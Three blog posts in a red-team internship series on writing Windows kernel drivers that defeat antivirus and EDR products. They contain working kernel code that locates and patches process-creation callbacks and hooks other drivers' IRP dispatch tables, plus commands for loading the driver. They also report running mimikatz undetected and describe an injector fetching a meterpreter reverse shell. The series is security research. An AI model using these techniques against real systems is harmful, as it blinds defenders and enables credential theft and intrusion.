Normal view

There are new articles available, click to refresh the page.
Before yesterdayNVISO Labs

Kernel Karnage – Part 1

By: bautersj
21 October 2021 at 15:13

I start the first week of my internship in true spooktober fashion as I dive into a daunting subject that’s been scaring me for some time now: The Windows Kernel.

1. KdPrint(“Hello, world!\n”);

When I finished my previous internship, which was focused on bypassing Endpoint Detection and Response (EDR) software and Anti-Virus (AV) software from a user land point of view, we joked around with the idea that the next topic would be defeating the same problem but from kernel land. At that point in time, I had no experience at all with the Windows kernel and it all seemed very advanced and above my level of technical ability. As I write this blogpost, I have to admit it wasn’t as scary or difficult as I thought it to be; C/C++ is still C/C++ and assembly instructions are still headache-inducing, but comprehensible with the right resources and time dedication.

In this first post, I will lay out some of the technical concepts and ideas behind the goal of this internship, as well as reflect back on my first steps in successfully bypassing/disabling a reputable Anti-Virus product, but more on that later.

2. BugCheck?

To set this rollercoaster in motion, I highly recommend checking out this post in which I briefly covered User Space (and Kernel Space to a certain extent) and how EDRs interact with them.

User Space vs Kernel Space

In short, the Windows OS roughly consists of 2 layers, User Space and Kernel Space.

User Space or user land contains the Windows Native API: ntdll.dll, the WIN32 subsystem: kernel32.dll, user32.dll, advapi.dll,... and all the user processes and applications. When applications or processes need more advanced access or control to hardware devices, memory, CPU, etc., they will use ntdll.dll to talk to the Windows kernel.

The functions contained in ntdll.dll will load a number, called “the system service number”, into the EAX register of the CPU and then execute the syscall instruction (x64-bit), which starts the transition to kernel mode while jumping to a predefined routine called the system service dispatcher. The system service dispatcher performs a lookup in the System Service Dispatch Table (SSDT) using the number in the EAX register as an index. The code then jumps to the relevant system service and returns to user mode upon completion of execution.

Kernel Space or kernel land is the bottom layer in between User Space and the hardware and consists of a number of different elements. At the heart of Kernel Space we find ntoskrnl.exe or as we’ll call it: the kernel. This executable houses the most critical OS code, like thread scheduling, interrupt and exception dispatching, and various kernel primitives. It also contains the different managers such as the I/O manager and memory manager. Next to the kernel itself, we find device drivers, which are loadable kernel modules. I will mostly be messing around with these, since they run fully in kernel mode. Apart from the kernel itself and the various drivers, Kernel Space also houses the Hardware Abstraction Layer (HAL), win32k.sys, which mainly handles the User Interface (UI), and various system and subsystem processes (Lsass.exe, Winlogon.exe, Services.exe, etc.), but they’re less relevant in relation to EDRs/AVs.

Opposed to User Space, where every process has its own virtual address space, all code running in Kernel Space shares a single common virtual address space. This means that a kernel-mode driver can overwrite or write to memory belonging to other drivers, or even the kernel itself. When this occurs and results in the driver crashing, the entire operating system will crash.

In 2005, with the first x64-bit edition of Windows XP, Microsoft introduced a new feature called Kernel Patch Protection (KPP), colloquially known as PatchGuard. PatchGuard is responsible for protecting the integrity of the Window kernel, by hashing its critical structures and performing comparisons at random time intervals. When PatchGuard detects a modification, it will immediately Bugcheck the system (KeBugCheck(0x109);), resulting in the infamous Blue Screen Of Death (BSOD) with the message: “CRITICAL_STRUCTURE_CORRUPTION”.

bugcheck

3. A battle on two fronts

The goal of this internship is to develop a kernel driver that will be able to disable, bypass, mislead, or otherwise hinder EDR/AV software on a target. So what exactly is a driver, and why do we need one?

As stated in the Microsoft Documentation, a driver is a software component that lets the operating system and a device communicate with each other. Most of us are familiar with the term “graphics card driver”; we frequently need to update it to support the latest and greatest games. However, not all drivers are tied to a piece of hardware, there is a separate class of drivers called Software Drivers.

software driver

Software drivers run in kernel mode and are used to access protected data that is only available in kernel mode, from a user mode application. To understand why we need a driver, we have to look back in time and take into consideration how EDR/AV products work or used to work.

Obligatory disclaimer: I am by no means an expert and a lot of the information used to write this blog post comes from sources which may or may not be trustworthy, complete or accurate.

EDR/AV products have adapted and evolved over time with the increased complexity of exploits and attacks. A common way to detect malicious activity is for the EDR/AV to hook the WIN32 API functions in user land and transfer execution to itself. This way when a process or application calls a WIN32 API function, it will pass through the EDR/AV so it can be inspected and either allowed, or terminated. Malware authors bypassed this hooking method by directly using the underlying Windows Native API (ntdll.dll) functions instead, leaving the WIN32 API functions mostly untouched. Naturally, the EDR/AV products adapted, and started hooking the Windows Native API functions. Malware authors have used several methods to circumvent these hooks, using techniques such as direct syscalls, unhooking and more. I recommend checking out A tale of EDR bypass methods by @ShitSecure (S3cur3Th1sSh1t).

When the battle could no longer be fought in user land (since Windows Native API is the lowest level), it transitioned into kernel land. Instead of hooking the Native API functions, EDR/AV started patching the System Service Dispatch Table (SSDT). Sounds familiar? When execution from ntdll.dll is transitioned to the system service dispatcher, the lookup in the SSDT will yield a memory address belonging to a EDR/AV function instead of the original system service. This practice of patching the SSDT is risky at best, because it affects the entire operating system and if something goes wrong it will result in a crash.

With the introduction of PatchGuard (KPP), Microsoft made an end to patching SSDT in x64-bit versions of Windows (x86 is unaffected) and instead introduced a new feature called Kernel Callbacks. A driver can register a callback for a certain action. When this action is performed, the driver will receive either a pre- or post-action notification.

EDR/AV products make heavy use of these callbacks to perform their inspections. A good example would be the PsSetCreateProcessNotifyRoutine() callback:

  1. When a user application wants to spawn a new process, it will call the CreateProcessW() function in kernel32.dll, which will then trigger the create process callback, letting the kernel know a new process is about to be created.
  2. Meanwhile the EDR/AV driver has implemented the PsSetCreateProcessNotifyRoutine() callback and assigned one of its functions (0xFA7F) to that callback.
  3. The kernel registers the EDR/AV driver function address (0xFA7F) in the callback array.
  4. The kernel receives the process creation callback from CreateProcessW() and sends a notification to all the registered drivers in the callback array.
  5. The EDR/AV driver receives the process creation notification and executes its assigned function (0xFA7F).
  6. The EDR/AV driver function (0xFA7F) instructs the EDR/AV application running in user land to inject into the User Application’s virtual address space and hook ntdll.dll to transfer execution to itself.
kernel callback

With EDR/AV products transitioning to kernel space, malware authors had to follow suit and bring their own kernel driver to get back on equal footing. The job of the malicious driver is fairly straight forward: eliminate the kernel callbacks to the EDR/AV driver. So how can this be achieved?

  1. An evil application in user space is aware we want to run Mimikatz.exe, a well known tool to extract plaintext passwords, hashes, PIN codes and Kerberos tickets from memory.
  2. The evil application instructs the evil driver to disable the EDR/AV product.
  3. The evil driver will first locate and read the callback array and then patch any entries belonging to EDR/AV drivers by replacing the first instruction in their callback function (0xFA7F) with a return RET (0xC3) instruction.
  4. Mimikatz.exe can now run and will call ReadProcessMemory(), which will trigger a callback.
  5. The kernel receives the callback and sends a notification to all the registered drivers in the callback array.
  6. The EDR/AV driver receives the process creation notification and executes its assigned function (0xFA7F).
  7. The EDR/AV driver function (0xFA7F) executes the RET (0xC3) instruction and immediately returns.
  8. Execution resumes with ReadProcessMemory(), which will call NtReadVirtualMemory(), which in turn will execute the syscall and transition into kernel mode to read the lsass.exe process memory.
patch kernel callback

4. Don’t reinvent the wheel

Armed with all this knowledge, I set out to put the theory into practice. I stumbled upon Windows Kernel Ps Callback Experiments by @fdiskyou which explains in depth how he wrote his own evil driver and evilcli user application to disable EDR/AV as explained above. To use the project you need Visual Studio 2019 and the latest Windows SDK and WDK.

I also set up two virtual machines configured for remote kernel debugging with WinDbg

  1. Windows 10 build 19042
  2. Windows 11 build 21996

With the following options enabled:

bcdedit /set TESTSIGNING ON
bcdedit /debug on
bcdedit /dbgsettings serial debugport:2 baudrate:115200
bcdedit /set hypervisorlaunchtype off

To compile and build the driver project, I had to make a few modifications. First the build target should be Debug – x64. Next I converted the current driver into a primitive driver by modifying the evil.inf file to meet the new requirements.

;
; evil.inf
;

[Version]
Signature="$WINDOWS NT$"
Class=System
ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318}
Provider=%ManufacturerName%
DriverVer=
CatalogFile=evil.cat
PnpLockDown=1

[DestinationDirs]
DefaultDestDir = 12


[SourceDisksNames]
1 = %DiskName%,,,""

[SourceDisksFiles]


[DefaultInstall.ntamd64]

[Standard.NT$ARCH$]


[Strings]
ManufacturerName="<Your manufacturer name>" ;TODO: Replace with your manufacturer name
ClassName=""
DiskName="evil Source Disk"

Once the driver compiled and got signed with a test certificate, I installed it on my Windows 10 VM with WinDbg remotely attached. To see kernel debug messages in WinDbg I updated the default mask to 8: kd> ed Kd_Default_Mask 8.

sc create evil type= kernel binPath= C:\Users\Cerbersec\Desktop\driver\evil.sys
sc start evil

evil driver
windbg evil driver

Using the evilcli.exe application with the -l flag, I can list all the registered callback routines from the callback array for process creation and thread creation. When I first tried this I immediately bluescreened with the message “Page Fault in Non-Paged Area”.

5. The mystery of 3 bytes

This BSOD message is telling me I’m trying to access non-committed memory, which is an immediate bugcheck. The reason this happened has to do with Windows versioning and the way we find the callback array in memory.

bsod

Locating the callback array in memory by hand is a trivial task and can be done with WinDbg or any other kernel debugger. First we disassemble the PsSetCreateProcessNotifyRoutine() function and look for the first CALL (0xE8) instruction.

PsSetCreateProcessNotifyRoutine

Next we disassemble the PspSetCreateProcessNotifyRoutine() function until we find a LEA (0x4C 0x8D 0x2D) (load effective address) instruction.

PspSetCreateProcessNotifyRoutine

Then we can inspect the memory address that LEA puts in the r13 register. This is the callback array in memory.

callback array

To view the different drivers in the callback array, we need to perform a logical AND operation with the address in the callback array and 0xFFFFFFFFFFFFFFF8.

logical and

The driver roughly follows the same method to locate the callback array in memory; by calculating offsets to the instructions we looked for manually, relative to the PsSetCreateProcessNotifyRoutine() function base address, which we obtain using the MmGetSystemRoutineAddress() function.

ULONG64 FindPspCreateProcessNotifyRoutine()
{
	LONG OffsetAddr = 0;
	ULONG64	i = 0;
	ULONG64 pCheckArea = 0;
	UNICODE_STRING unstrFunc;

	RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine");
    //obtain the PsSetCreateProcessNotifyRoutine() function base address
	pCheckArea = (ULONG64)MmGetSystemRoutineAddress(&unstrFunc);
	KdPrint(("[+] PsSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));

    //loop though the base address + 20 bytes and search for the right OPCODE (instruction)
    //we're looking for 0xE8 OPCODE which is the CALL instruction
	for (i = pCheckArea; i < pCheckArea + 20; i++)
	{
		if ((*(PUCHAR)i == OPCODE_PSP[g_WindowsIndex]))
		{
			OffsetAddr = 0;

			//copy 4 bytes after CALL (0xE8) instruction, the 4 bytes contain the relative offset to the PspSetCreateProcessNotifyRoutine() function address
			memcpy(&OffsetAddr, (PUCHAR)(i + 1), 4);
			pCheckArea = pCheckArea + (i - pCheckArea) + OffsetAddr + 5;

			break;
		}
	}

	KdPrint(("[+] PspSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));
	
    //loop through the PspSetCreateProcessNotifyRoutine base address + 0xFF bytes and search for the right OPCODES (instructions)
    //we're looking for 0x4C 0x8D 0x2D OPCODES which is the LEA, r13 instruction
	for (i = pCheckArea; i < pCheckArea + 0xff; i++)
	{
		if (*(PUCHAR)i == OPCODE_LEA_R13_1[g_WindowsIndex] && *(PUCHAR)(i + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] && *(PUCHAR)(i + 2) == OPCODE_LEA_R13_3[g_WindowsIndex])
		{
			OffsetAddr = 0;

            //copy 4 bytes after LEA, r13 (0x4C 0x8D 0x2D) instruction
			memcpy(&OffsetAddr, (PUCHAR)(i + 3), 4);
            //return the relative offset to the callback array
			return OffsetAddr + 7 + i;
		}
	}

	KdPrint(("[+] Returning from CreateProcessNotifyRoutine \n"));
	return 0;
}

The takeaways here are the OPCODE_*[g_WindowsIndex] constructions, where OPCODE_*[g_WindowsIndex] are defined as:

UCHAR OPCODE_PSP[]	 = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xe8, 0xe8, 0xe8, 0xe8, 0xe8 };
//process callbacks
UCHAR OPCODE_LEA_R13_1[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c };
UCHAR OPCODE_LEA_R13_2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d };
UCHAR OPCODE_LEA_R13_3[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d };
// thread callbacks
UCHAR OPCODE_LEA_RCX_1[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48 };
UCHAR OPCODE_LEA_RCX_2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d };
UCHAR OPCODE_LEA_RCX_3[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d };

And g_WindowsIndex acts as an index based on the Windows build number of the machine (osVersionInfo.dwBuildNumer).

To solve the mystery of the BSOD, I compared debug output with manual calculations and found out that my driver had been looking for the 0x00 OPCODE instead of the 0xE8 (CALL) OPCODE to obtain the base address of the PspSetCreateProcessNotifyRoutine() function. The first 0x00 OPCODE it finds is located at a 3 byte offset from the 0xE8 OPCODE, resulting in an invalid offset being copied by the memcpy() function.

After adjusting the OPCODE array and the function responsible for calculating the index from the Windows build number, the driver worked just fine.

list callback array

6. Driver vs Anti-Virus

To put the driver to the test, I installed it on my Windows 11 VM together with a reputable anti-virus product. After patching the AV driver callback routines in the callback array, mimikatz.exe was successfully executed.

When returning the AV driver callback routines back to their original state, mimikatz.exe was detected and blocked upon execution.

7. Conclusion

We started this first internship post by looking at User vs Kernel Space and how EDRs interact with them. Since the goal of the internship is to develop a kernel driver to hinder EDR/AV software on a target, we have then discussed the concept of kernel drivers and kernel callbacks and how they are used by security software. As a first practical example, we used evilcli, combined with some BSOD debugging to patch the kernel callbacks used by an AV product and have Mimikatz execute undetected.

About the authors

Sander (@cerbersec), the main author of this post, is a cyber security student with a passion for red teaming and malware development. He’s a two-time intern at NVISO and a future NVISO bird.

Jonas is NVISO’s red team lead and thus involved in all red team exercises, either from a project management perspective (non-technical), for the execution of fieldwork (technical), or a combination of both. You can find Jonas on LinkedIn.

Kernel Karnage – Part 2 (Back to Basics)

By: bautersj
29 October 2021 at 14:40

This week I try to figure out “what makes a driver a driver?” and experiment with writing my own kernel hooks.

1. Windows Kernel Programming 101

In the first part of this internship blog series, we took a look at how EDRs interact with User and Kernel space, and explored a frequently used feature called Kernel Callbacks by leveraging the Windows Kernel Ps Callback Experiments project by @fdiskyou to patch them in memory. Kernel callbacks are only the first step in a line of defense that modern EDR and AV solutions leverage when deploying kernel drivers to identify malicious activity. To better understand what we’re up against, we need to take a step back and familiarize ourselves with the concept of a driver itself.

To do just that, I spent the vast majority of my time this week reading the fantastic book Windows Kernel Programming by Pavel Yosifovich, which is a great introduction to the Windows kernel and its components and mechanisms, as well as drivers and their anatomy and functions.

In this blogpost I would like to take a closer look at the anatomy of a driver and experiment with a different technique called IRP MajorFunction hooking.

2. Anatomy of a driver

Most of us are familiar with the classic C/C++ projects and their characteristics; for example, the int main(int argc, char* argv[]){ return 0; } function, which is the typical entry point of a C++ console application. So, what makes a driver a driver?

Just like a C++ console application, a driver requires an entry point as well. This entry point comes in the form of a DriverEntry() function with the prototype:

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath);

The DriverEntry() function is responsible for 2 major tasks:

  1. setting up the driver’s DeviceObject and associated symbolic link
  2. setting up the dispatch routines

Every driver needs an “endpoint” that other applications can use to communicate with. This comes in the form of a DeviceObject, an instance of the DEVICE_OBJECT structure. The DeviceObject is abstracted in the form of a symbolic link and registered in the Object Manager’s GLOBAL?? directory (use sysinternal’s WinObj tool to view the Object Manager). User mode applications can use functions like NtCreateFile with the symbolic link as a handle to talk to the driver.

WinObj

Example of a C++ application using CreateFile to talk to a driver registered as “Interceptor” (hint: it’s my driver 😉 ):

HANDLE hDevice = CreateFile(L"\\\\.\\Interceptor)", GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);

Once the driver’s endpoint is configured, the DriverEntry() function needs to sort out what to do with incoming communications from user mode and other operations such as unloading itself. To do this, it uses the DriverObject to register Dispatch Routines, or functions associated with a particular driver operation.

The DriverObject contains an array, holding function pointers, called the MajorFunction array. This array determines which particular operations are supported by the driver, such as Create, Read, Write, etc. The index of the MajorFunction array is controlled by Major Function codes, defined by their IRP_MJ_ prefix.

There are 3 main Major Function codes along side the DriverUnload operation which need initializing for the driver to function properly:

// prototypes
void InterceptUnload(PDRIVER_OBJECT);
NTSTATUS InterceptCreateClose(PDEVICE_OBJECT, PIRP);
NTSTATUS InterceptDeviceControl(PDEVICE_OBJECT, PIRP);

//DriverEntry
extern "C" NTSTATUS
DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    DriverObject->DriverUnload = InterceptUnload;
    DriverObject->MajorFunction[IRP_MJ_CREATE] = InterceptCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] =  InterceptCreateClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = InterceptDeviceControl;

    //...
}

The DriverObject->DriverUnload dispatch routine is responsible for cleaning up and preventing any memory leaks before the driver unloads. A leak in the kernel will persist until the machine is rebooted. The IRP_MJ_CREATE and IRP_MJ_CLOSE Major Functions handle CreateFile() and CloseHandle() calls. Without them, handles to the driver wouldn’t be able to be created or destroyed, so in a way the driver would be unusable. Finally, the IRP_MJ_DEVICE_CONTROL Major Function is in charge of I/O operations/communications.

A typical driver communicates by receiving requests, handling those requests or forwarding them to the appropriate device in the device stack (out of scope for this blogpost). These requests come in the form of an I/O Request Packet or IRP, which is a semi-documented structure, accompanied by one or more IO_STACK_LOCATION structures, located in memory directly following the IRP. Each IO_STACK_LOCATION is related to a device in the device stack and the driver can call the IoGetCurrentIrpStackLocation() function to retrieve the IO_STACK_LOCATION related to itself.

The previously mentioned dispatch routines determine how these IRPs are handled by the driver. We are interested in the IRP_MJ_DEVICE_CONTROL dispatch routine, which corresponds to the DeviceIoControl() call from user mode or ZwDeviceIoControlFile() call from kernel mode. An IRP request destined for IRP_MJ_DEVICE_CONTROL contains two user buffers, one for reading and one for writing, as well as a control code indicated by the IOCTL_ prefix. These control codes are defined by the driver developer and indicate the supported actions.

Control codes are built using the CTL_CODE macro, defined as:

#define CTL_CODE(DeviceType, Function, Method, Access)((DeviceType) << 16 | ((Access) << 14) | ((Function) << 2) | (Method))

Example for my Interceptor driver:

#define IOCTL_INTERCEPTOR_HOOK_DRIVER CTL_CODE(0x8000, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_INTERCEPTOR_UNHOOK_DRIVER CTL_CODE(0x8000, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_INTERCEPTOR_LIST_DRIVERS CTL_CODE(0x8000, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_INTERCEPTOR_UNHOOK_ALL_DRIVERS CTL_CODE(0x8000, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)

3. Kernel land hooks

Now that we have a vague idea how drivers communicate with other drivers and applications, we can think about ways to intercept those communications. One of these techniques is called IRP MajorFunction hooking.

hook MFA

Since drivers and all other kernel processes share the same memory, we can also access and overwrite that memory as long as we don’t upset PatchGuard by modifying critical structures. I wrote a driver called Interceptor, which does exactly that. It locates the target driver’s DriverObject and retrieves its MajorFunction array (MFA). This is done using the undocumented ObReferenceObjectByName() function, which uses the driver device name to get a pointer to the DriverObject.

UNICODE_STRING targetDriverName = RTL_CONSTANT_STRING(L"\\Driver\\Disk");
PDRIVER_OBJECT DriverObject = nullptr;

status = ObReferenceObjectByName(
	&targetDriverName,
	OBJ_CASE_INSENSITIVE,
	nullptr,
	0,
	*IoDriverObjectType,
	KernelMode,
	nullptr,
	(PVOID*)&DriverObject
);

if (!NT_SUCCESS(status)) {
	KdPrint((DRIVER_PREFIX "failed to obtain DriverObject (0x%08X)\n", status));
	return status;
}

Once it has obtained the MFA, it will iterate over all the Dispatch Routines (IRP_MJ_) and replace the pointers, which are pointing to the target driver’s functions (0x1000 – 0x1003), with my own pointers, pointing to the *InterceptHook functions (0x2000 – 0x2003), controlled by the Interceptor driver.

for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
    //save the original pointer in case we need to restore it later
	globals.originalDispatchFunctionArray[i] = DriverObject->MajorFunction[i];
    //replace the pointer with our own pointer
	DriverObject->MajorFunction[i] = &GenericHook;
}
//cleanup
ObDereferenceObject(DriverObject);

As an example, I hooked the disk driver’s IRP_MJ_DEVICE_CONTROL dispatch routine and intercepted the calls:

Hooked IRP Disk Driver

This method can be used to intercept communications to any driver but is fairly easy to detect. A driver controlled by EDR/AV could iterate over its own MajorFunction array and check the function pointer’s address to see if it is located in its own address range. If the function pointer is located outside its own address range, that means the dispatch routine was hooked.

4. Conclusion

To defeat EDRs in kernel space, it is important to know what goes on at the core, namely the driver. In this blogpost we examined the anatomy of a driver, its functions, and their main responsibilities. We established that a driver needs to communicate with other drivers and applications in user space, which it does via dispatch routines registered in the driver’s MajorFunction array.

We then briefly looked at how we can intercept these communications by using a technique called IRP MajorFunction hooking, which patches the target driver’s dispatch routines in memory with pointers to our own functions, so we can inspect or redirect traffic.

About the authors

Sander (@cerbersec), the main author of this post, is a cyber security student with a passion for red teaming and malware development. He’s a two-time intern at NVISO and a future NVISO bird.

Jonas is NVISO’s red team lead and thus involved in all red team exercises, either from a project management perspective (non-technical), for the execution of fieldwork (technical), or a combination of both. You can find Jonas on LinkedIn.

Kernel Karnage – Part 3 (Challenge Accepted)

By: bautersj
16 November 2021 at 08:28

While I was cruising along, taking in the views of the kernel landscape, I received a challenge …

1. Player 2 has entered the game

The past weeks I mostly experimented with existing tooling and got acquainted with the basics of kernel driver development. I managed to get a quick win versus $vendor1 but that didn’t impress our blue team, so I received a challenge to bypass $vendor2. I have to admit, after trying all week to get around the protections, $vendor2 is definitely a bigger beast to tame.

I foolishly tried to rely on blocking the kernel callbacks using the Evil driver from my first post and quickly concluded that wasn’t going to cut it. To win this fight, I needed bigger guns.

2. Know your enemy

$vendor2’s defenses consist of a number of driver modules:

  • eamonm.sys (monitoring agent?)
  • edevmon.sys (device monitor?)
  • eelam.sys (early launch anti-malware driver)
  • ehdrv.sys (helper driver?)
  • ekbdflt.sys (keyboard filter?)
  • epfw.sys (personal firewall driver?)
  • epfwlwf.sys (personal firewall light-weight filter?)
  • epfwwfp.sys (personal firewall filter?)

and a user mode service: ekrn.exe ($vendor2 kernel service) running as a System Protected Process (enabled by eelam.sys driver).

At this stage I am only guessing the roles and functionality of the different driver modules based on their names and some behaviour I have observed during various tests, mainly because I haven’t done any reverse-engineering yet. Since I am interested in running malicious binaries on the protected system, my initial attack vector is to disable the functionality of the ehdrv.sys, epfw.sys and epfwwfp.sys drivers. As far as I can tell using WinObj and listing all loaded modules in WinDbg (lm command), epfwlwf.sys does not appear to be running and neither does eelam.sys, which I presume is only used in the initial stages when the system is booting up to start ekrn.exe as a System Protected Process.

WinObj GLOBALS?? directory listing

In the context of my internship being focused on the kernel, I have not (yet) considered attacking the protected ekrn.exe service. According to the Microsoft Documentation, a protected process is shielded from code injection and other attacks from admin processes. However, a quick Google search tells me otherwise 😉

3. Interceptor

With my eye on the ehdrv.sys, epfw.sys and epfwwfp.sys drivers, I noticed they all have registered callbacks, either for process creation, thread creation, or both. I’m still working on expanding my own driver to include callback functionality, which will also look at image load callbacks, which are used to detect the loading of drivers and so on. Luckily, the Evil driver has got this angle (partially) covered for now.

ESET registered callbacks

Unfortunately, we cannot solely rely on blocking kernel callbacks. Other sources contacting the $vendor2 drivers and reporting suspicious activity should also be taken into consideration. In my previous post I briefly touched on IRP MajorFunction hooking, which is a good -although easy to detect- way of intercepting communications between drivers and other applications.

I wrote my own driver called Interceptor, which combines the ideas of @zodiacon’s Driver Monitor project and @fdiskyou’s Evil driver.

To gather information about all the loaded drivers on the system, I used the AuxKlibQueryModuleInformation() function. Note that because I return output via pass-by-reference parameters, the calling function is responsible for cleaning up any allocated memory and preventing a leak.

NTSTATUS ListDrivers(PAUX_MODULE_EXTENDED_INFO& outModules, ULONG& outNumberOfModules) {
    NTSTATUS status;
    ULONG modulesSize = 0;
    PAUX_MODULE_EXTENDED_INFO modules;
    ULONG numberOfModules;

    status = AuxKlibInitialize();
    if(!NT_SUCCESS(status))
        return status;

    status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), nullptr);
    if (!NT_SUCCESS(status) || modulesSize == 0)
        return status;

    numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO);

    modules = (AUX_MODULE_EXTENDED_INFO*)ExAllocatePoolWithTag(PagedPool, modulesSize, DRIVER_TAG);
    if (modules == nullptr)
        return STATUS_INSUFFICIENT_RESOURCES;

    RtlZeroMemory(modules, modulesSize);

    status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules);
    if (!NT_SUCCESS(status)) {
        ExFreePoolWithTag(modules, DRIVER_TAG);
        return status;
    }

    //calling function is responsible for cleanup
    //if (modules != NULL) {
    //	ExFreePoolWithTag(modules, DRIVER_TAG);
    //}

    outModules = modules;
    outNumberOfModules = numberOfModules;

    return status;
}

Using this function, I can obtain information like the driver’s full path, its file name on disk and its image base address. This information is then passed on to the user mode application (InterceptorCLI.exe) or used to locate the driver’s DriverObject and MajorFunction array so it can be hooked.

To hook the driver’s dispatch routines, I still rely on the ObReferenceObjectByName() function, which accepts a UNICODE_STRING parameter containing the driver’s name in the format \\Driver\\DriverName. In this case, the driver’s name is derived from the driver’s file name on disk: mydriver.sys –> \\Driver\\mydriver.

However, it should be noted that this is not a reliable way to obtain a handle to the DriverObject, since the driver’s name can be set to anything in the driver’s DriverEntry() function when it creates the DeviceObject and symbolic link.

Once a handle is obtained, the target driver will be stored in a global array and its dispatch routines hooked and replaced with my InterceptGenericDispatch() function. The target driver’s DriverObject->DriverUnload dispatch routine is separately hooked and replaced by my GenericDriverUnload() function, to prevent the target driver from unloading itself without us knowing about it and causing a nightmare with dangling pointers.

NTSTATUS InterceptGenericDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(DeviceObject);
    auto stack = IoGetCurrentIrpStackLocation(Irp);
	auto status = STATUS_UNSUCCESSFUL;
	KdPrint((DRIVER_PREFIX "GenericDispatch: call intercepted\n"));

    //inspect IRP
    if(isTargetIrp(Irp)) {
        //modify IRP
        status = ModifyIrp(Irp);
        //call original
        for (int i = 0; i < MaxIntercept; i++) {
            if (globals.Drivers[i].DriverObject == DeviceObject->DriverObject) {
                auto CompletionRoutine = globals.Drivers[i].MajorFunction[stack->MajorFunction];
                return CompletionRoutine(DeviceObject, Irp);
            }
        }
    }
    else if (isDiscardIrp(Irp)) {
        //call own completion routine
        status = STATUS_INVALID_DEVICE_REQUEST;
	    return CompleteRequest(Irp, status, 0);
    }
    else {
        //call original
        for (int i = 0; i < MaxIntercept; i++) {
            if (globals.Drivers[i].DriverObject == DeviceObject->DriverObject) {
                auto CompletionRoutine = globals.Drivers[i].MajorFunction[stack->MajorFunction];
                return CompletionRoutine(DeviceObject, Irp);
            }
        }
    }
    return CompleteRequest(Irp, status, 0);
}
void GenericDriverUnload(PDRIVER_OBJECT DriverObject) {
	for (int i = 0; i < MaxIntercept; i++) {
		if (globals.Drivers[i].DriverObject == DriverObject) {
			if (globals.Drivers[i].DriverUnload) {
				globals.Drivers[i].DriverUnload(DriverObject);
			}
			UnhookDriver(i);
		}
	}
	NT_ASSERT(false);
}

4. Early bird gets the worm

Armed with my new Interceptor driver, I set out to try and defeat $vendor2 once more. Alas, no luck, mimikatz.exe was still detected and blocked. This got me thinking, running such a well-known malicious binary without any attempts to hide it or obfuscate it is probably not realistic in the first place. A signature check alone would flag the binary as malicious. So, I decided to write my own payload injector for testing purposes.

Based on research presented in An Empirical Assessment of Endpoint Detection and Response Systems against Advanced Persistent Threats Attack Vectors by George Karantzas and Constantinos Patsakis, I chose for a shellcode injector using:
– the EarlyBird code injection technique
– PPID spoofing
– Microsoft’s Code Integrity Guard (CIG) enabled to prevent non-Microsoft DLLs from being injected into our process
– Direct system calls to bypass any user mode hooks.

The injector delivers shellcode to fetch a “windows/x64/meterpreter/reverse_tcp” payload from the Metasploit framework.

Using my shellcode injector, combined with the Evil driver to disable kernel callbacks and my Interceptor driver to intercept any IRPs to the ehdrv.sys, epfw.sys and epfwwfp.sys drivers, the meterpreter payload is still detected but not blocked by $vendor2.

5. Conclusion

In this blogpost, we took a look at a more advanced Anti-Virus product, consisting of multiple kernel modules and better detection capabilities in both user mode and kernel mode. We took note of the different AV kernel drivers that are loaded and the callbacks they subscribe to. We then combined the Evil driver and the Interceptor driver to disable the kernel callbacks and hook the IRP dispatch routines, before executing a custom shellcode injector to fetch a meterpreter reverse shell payload.

Even when armed with a malicious kernel driver, a good EDR/AV product can still be a major hurdle to bypass. Combining techniques in both kernel and user land is the most effective solution, although it might not be the most realistic. With the current approach, the Evil driver does not (yet) take into account image load-, registry- and object creation callbacks, nor are the AV minifilters addressed.

About the authors

Sander (@cerbersec), the main author of this post, is a cyber security student with a passion for red teaming and malware development. He’s a two-time intern at NVISO and a future NVISO bird.

